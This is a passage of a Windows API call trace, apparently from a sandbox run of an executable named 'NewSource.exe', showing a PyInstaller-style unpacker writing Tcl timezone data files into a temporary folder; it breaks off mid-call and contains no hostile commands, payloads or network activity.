lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santa_Isabel", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santa_Isabel", lpFilePart=0x0) returned 0x4c [0039.539] GetLastError () returned 0x2 [0039.539] SetLastError (dwErrCode=0x2) [0039.539] GetLastError () returned 0x2 [0039.539] SetLastError (dwErrCode=0x2) [0039.539] GetLastError () returned 0x2 [0039.539] SetLastError (dwErrCode=0x2) [0039.539] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santa_Isabel") returned 77 [0039.539] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.539] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santa_Isabel" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\santa_isabel"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.539] GetFileType (hFile=0x10c) returned 0x1 [0039.539] htonl (hostlong=0xfd200000) returned 0x20fd [0039.539] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.543] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.543] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xfd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xfd, lpOverlapped=0x0) returned 1 [0039.543] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.543] CloseHandle (hObject=0x10c) returned 1 [0039.544] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.544] htonl (hostlong=0x40000000) returned 0x40 [0039.544] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.544] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.544] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.544] GetFileType (hFile=0x10c) returned 0x1 [0039.545] htonl (hostlong=0x362c5a00) returned 0x5a2c36 [0039.545] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5edc36, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.545] htonl (hostlong=0x42010000) returned 0x142 [0039.545] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x142) returned 0x550600 [0039.545] htonl (hostlong=0x42010000) returned 0x142 [0039.545] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.545] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.545] htonl (hostlong=0x21040000) returned 0x421 [0039.545] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x421) returned 0x550750 [0039.545] htonl (hostlong=0x42010000) returned 0x142 [0039.546] htonl (hostlong=0x21040000) returned 0x421 [0039.546] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.546] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.546] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.546] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.546] CloseHandle (hObject=0x10c) returned 1 [0039.546] GetLastError () returned 0x0 [0039.546] SetLastError (dwErrCode=0x0) [0039.546] GetLastError () returned 0x0 [0039.546] SetLastError (dwErrCode=0x0) [0039.546] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.546] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.546] GetFileType (hFile=0x10c) returned 0x1 [0039.546] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.546] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.546] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.546] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.546] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.546] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.546] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.546] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.546] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.546] CloseHandle (hObject=0x10c) returned 1 [0039.547] GetLastError () returned 0x0 [0039.547] SetLastError (dwErrCode=0x0) [0039.547] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.547] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.547] GetFileType (hFile=0x10c) returned 0x1 [0039.547] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.547] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.547] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.547] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.547] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.547] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.547] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.547] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.547] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.547] CloseHandle (hObject=0x10c) returned 1 [0039.547] GetLastError () returned 0x0 [0039.547] SetLastError (dwErrCode=0x0) [0039.547] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.547] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.547] GetFileType (hFile=0x10c) returned 0x1 [0039.547] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.547] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.547] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.547] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.548] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.548] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.548] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.548] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.548] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.548] CloseHandle (hObject=0x10c) returned 1 [0039.549] GetLastError () returned 0x0 [0039.549] SetLastError (dwErrCode=0x0) [0039.549] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santarem") returned 73 [0039.549] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santarem" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\santarem"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.549] GetLastError () returned 0x2 [0039.549] SetLastError (dwErrCode=0x2) [0039.549] GetLastError () returned 0x2 [0039.549] SetLastError (dwErrCode=0x2) [0039.549] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santarem", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santarem", lpFilePart=0x0) returned 0x48 [0039.549] GetLastError () returned 0x2 [0039.549] SetLastError (dwErrCode=0x2) [0039.549] GetLastError () returned 0x2 [0039.549] SetLastError (dwErrCode=0x2) [0039.549] GetLastError () returned 0x2 [0039.549] SetLastError (dwErrCode=0x2) [0039.549] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santarem") returned 73 [0039.549] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.549] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santarem" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\santarem"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.550] GetFileType (hFile=0x10c) returned 0x1 [0039.550] htonl (hostlong=0x21040000) returned 0x421 [0039.550] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.550] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x421, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x421, lpOverlapped=0x0) returned 1 [0039.551] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.551] CloseHandle (hObject=0x10c) returned 1 [0039.552] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550750 | out: hHeap=0x530000) returned 1 [0039.552] htonl (hostlong=0x30000000) returned 0x30 [0039.552] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.552] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.552] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.552] GetFileType (hFile=0x10c) returned 0x1 [0039.552] htonl (hostlong=0x782d5a00) returned 0x5a2d78 [0039.552] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5edd78, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.552] htonl (hostlong=0x95060000) returned 0x695 [0039.553] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x695) returned 0x55e278 [0039.553] htonl (hostlong=0x95060000) returned 0x695 [0039.553] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.553] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.553] htonl (hostlong=0x4e220000) returned 0x224e [0039.553] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x224e) returned 0x561090 [0039.553] htonl (hostlong=0x95060000) returned 0x695 [0039.553] htonl (hostlong=0x4e220000) returned 0x224e [0039.553] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5632e8 [0039.553] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5632e8 | out: hHeap=0x530000) returned 1 [0039.553] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.553] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.553] CloseHandle (hObject=0x10c) returned 1 [0039.553] GetLastError () returned 0x0 [0039.553] SetLastError (dwErrCode=0x0) [0039.553] GetLastError () returned 0x0 [0039.553] SetLastError (dwErrCode=0x0) [0039.553] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.553] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.553] GetFileType (hFile=0x10c) returned 0x1 [0039.553] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.554] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.554] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.554] CloseHandle (hObject=0x10c) returned 1 [0039.554] GetLastError () returned 0x0 [0039.554] SetLastError (dwErrCode=0x0) [0039.554] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.554] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.554] GetFileType (hFile=0x10c) returned 0x1 [0039.554] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.554] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.554] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.554] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.554] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.555] CloseHandle (hObject=0x10c) returned 1 [0039.555] GetLastError () returned 0x0 [0039.555] SetLastError (dwErrCode=0x0) [0039.555] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.555] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.555] GetFileType (hFile=0x10c) returned 0x1 [0039.555] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.555] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.555] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.555] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.555] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.555] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.555] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.555] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.555] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.555] CloseHandle (hObject=0x10c) returned 1 [0039.555] GetLastError () returned 0x0 [0039.555] SetLastError (dwErrCode=0x0) [0039.555] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santiago") returned 73 [0039.555] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santiago" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\santiago"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.556] GetLastError () returned 0x2 [0039.556] SetLastError (dwErrCode=0x2) [0039.556] GetLastError () returned 0x2 [0039.556] SetLastError (dwErrCode=0x2) [0039.556] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santiago", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santiago", lpFilePart=0x0) returned 0x48 [0039.556] GetLastError () returned 0x2 [0039.556] SetLastError (dwErrCode=0x2) [0039.556] GetLastError () returned 0x2 [0039.556] SetLastError (dwErrCode=0x2) [0039.556] GetLastError () returned 0x2 [0039.556] SetLastError (dwErrCode=0x2) [0039.556] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santiago") returned 73 [0039.556] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.556] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santiago" (normalized: 